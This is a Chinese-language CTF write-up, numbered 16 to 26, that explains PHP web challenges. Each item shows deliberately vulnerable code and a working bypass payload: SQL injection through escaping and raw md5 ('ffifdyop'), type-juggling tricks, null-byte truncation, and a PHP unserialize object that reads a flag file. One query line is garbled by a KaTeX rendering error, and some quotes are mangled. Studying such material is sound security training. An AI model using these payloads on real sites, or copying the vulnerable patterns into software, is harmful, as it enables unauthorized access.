16、SQL注入註釋外包’及or繞過
<?php
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}
echo $flag;
?>
目標!result) < 1爲真,並沒有對內容進行檢測,不需要是admin也行
幾個函數提一下:
- get_magic_quotes_gpc,獲取當前php.ini中的magic_quotes_gpc 的配置(on/off)。如果 magic_quotes_gpc 爲off時返回 0,否則返回 1。在 PHP 5.4.0 起將始終返回 FALSE。 magic_quotes_gpc是一種轉義配置,所有的 ’ (單引號)、" (雙引號)、\(反斜槓)和 NUL’s 被一個反斜槓自動轉義。
- stripslashes,去掉反斜槓
語法
stripslashes(string)
例:echo stripslashes("Who\'s Bill Gates?");
運行結果:Who's Bill Gates?
echo stripslashes("Who\\'s Bill Gates?");
運行結果:Who's Bill Gates?
echo stripslashes("Who\\\'s Bill Gates?");
運行結果:Who\'s Bill Gates?
- htmlentities,把字符轉換爲 HTML 實體。ENT_QUOTES是轉換雙引號和單引號,單引號被轉換爲'
也就是說,參數可能被去掉\,但是單引號和雙引號一定會被html實體化,所以參數不能有單引號和雙引號,而現今版本的php,get_magic_quotes_gpc是被廢掉的
php中查詢語句:
SELECT * FROM users WHERE name=’’.KaTeX parse error: Can't use function '\'' in math mode at position 11: username.'\̲'̲ AND pass=\''.password.’’;
sql中也就是
SELECT * FROM users WHERE name=‘username’ AND pass=‘password’;
參數的單引號是拼接上去的,而我們輸入單引號就會被html實體化(雖然在頁面上顯示的仍然是單引號)
payload:
?username=\&password= or 1%23
形成查詢語句:SELECT * FROM users WHERE name=’\’ AND pass=’ or 1%23’
也就是PHP語句的name後面的單引號被轉義
這樣最後的單引號被註釋了,因爲有個單引號被轉義,所以name就是’AND pass =,or 1之後就爲true。
17
這個跟9重複了
18、md5()函數===使用數組繞過
<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
if ($_GET['username'] == $_GET['password'])
print 'Your password can not be your username.';
else if (md5($_GET['username']) === md5($_GET['password']))
die('Flag: '.$flag);
else
print 'Invalid password';
}
?>
弱類型的話可以碰撞解決,因爲md5處理數組返回Null,所以=使用數組繞過
payload:?username[]=1&password[]=2
19、ereg()函數strpos() 函數用數組返回NULL繞過.php
<?php
$flag = "flag";
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo 'You password must be alphanumeric';
else if (strpos ($_GET['password'], '--') !== FALSE)
die('Flag: ' . $flag);
else
echo 'Invalid password';
}
?>
方法一:ereg和strops處理數組返回NULL繞過
payload:?password[]=
方法二:ereg的%00截斷繞過
payload:?password=1%00–
20、十六進制與數字比較
<?php
error_reporting(0);
function noother_says_correct($temp)
{
$flag = 'flag{test}';
$one = ord('1'); //ord — 返回字符的 ASCII 碼值
$nine = ord('9'); //ord — 返回字符的 ASCII 碼值
$number = '3735929054';
// Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
// Disallow all the digits!
$digit = ord($temp{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
// Aha, digit not allowed!
return "flase";
}
}
if($number == $temp)
return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
?>
16進制代替10進制
payload:?password=0xdeadc0de
21、數字驗證正則繞過
<?php
error_reporting(0);
$flag = 'flag{test}';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 執行一個正則表達式匹配
{
echo 'Wrong Format';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何標點符號 [[:digit:]] 任何數字 [[:upper:]] 任何大寫字母 [[:lower:]] 任何小寫字母
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
//>=3,必須包含四種類型三種與三種以上
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
?>
[[:punct:]] 任何標點符號 [[:digit:]] 任何數字 [[:upper:]] 任何大寫字母 [[:lower:]] 任何小寫字母
0 >= preg_match('/^[[:graph:]]{12,}$/', $password)
//意爲必須是12個字符以上(非空格非TAB之外的內容)
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
//意爲匹配到的次數要大於6次
$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何標點符號 [[:digit:]] 任何數字 [[:upper:]] 任何大寫字母 [[:lower:]] 任何小寫字母
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
//意爲必須要有大小寫字母,數字,字符內容三種與三種以上
而且還要值爲"42"
payload:
42.00e+00000000000
或
420.000000000e-1
22、弱類型整數大小比較繞過
<?php
error_reporting(0);
$flag = "flag{test}";
$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
echo $flag;
}
?>
方法一:%00繞過,如果password結尾或開頭是%00,那麼就不會被is_numeric檢測爲數字
payload:1337%00
(%001337不行。。。說好的前面或後面都行)
方法二:弱類型,payload:1337a
23、md5函數驗證繞過
<?php
error_reporting(0);
$flag = 'flag{test}';
$temp = $_GET['password'];
if(md5($temp)==0){
echo $flag;
}
?>
方法一:md5處理數組返回null,弱類型的時候null==0
方法二:md5碰撞,開頭爲0的md5值進行碰撞
24、md5函數true繞過注入
$password = $_GET['password'];
$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";
var_dump($sql);
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );
$row1 = mysql_fetch_row($result);
var_dump($row1);
$sql = “SELECT * FROM users WHERE password = '”.md5(password,true)是得到16位原始二進制格式的字符串。
這樣怎麼構造繞過呢?
神奇方法來了
ffifdyop經過md5的true轉化後是276f722736c95d99e921722cf9ed621c,再轉換成字符串正好是’or’xxx(xxx是亂碼),正好構造出語句SELECT * FROM admin WHERE pass = '‘or’xxx’,成功繞過
25、switch
<?php
error_reporting(0);
if (isset($_GET['which']))
{
$which = $_GET['which'];
switch ($which)
{
case 0:
case 1:
case 2:
require_once $which.'.php';
echo $flag;
break;
default:
echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
break;
}
}
?>
字符串如果前面不含數字,會被轉換爲0,所以case 0被執行,因爲case 0沒有break,所以一直會交到有break的地方纔會終止,這個直接包含進來flag.php即可。
payload:?which=flag
26、unserialize()序列化
<!-- 題目:http://web.jarvisoj.com:32768 -->
<!-- index.php -->
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
<!-- shield.php -->
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
<!-- showimg.php -->
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
//stripos — 查找字符串首次出現的位置(不區分大小寫)
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>
一個反序列化漏洞的簡單模板吧,showimg.php沒啥用。
反序列化之後filename是pctf.php即可
payload:?class=O:6:“Shield”:1:{s:4:“file”;s:8:“pctf.php”;}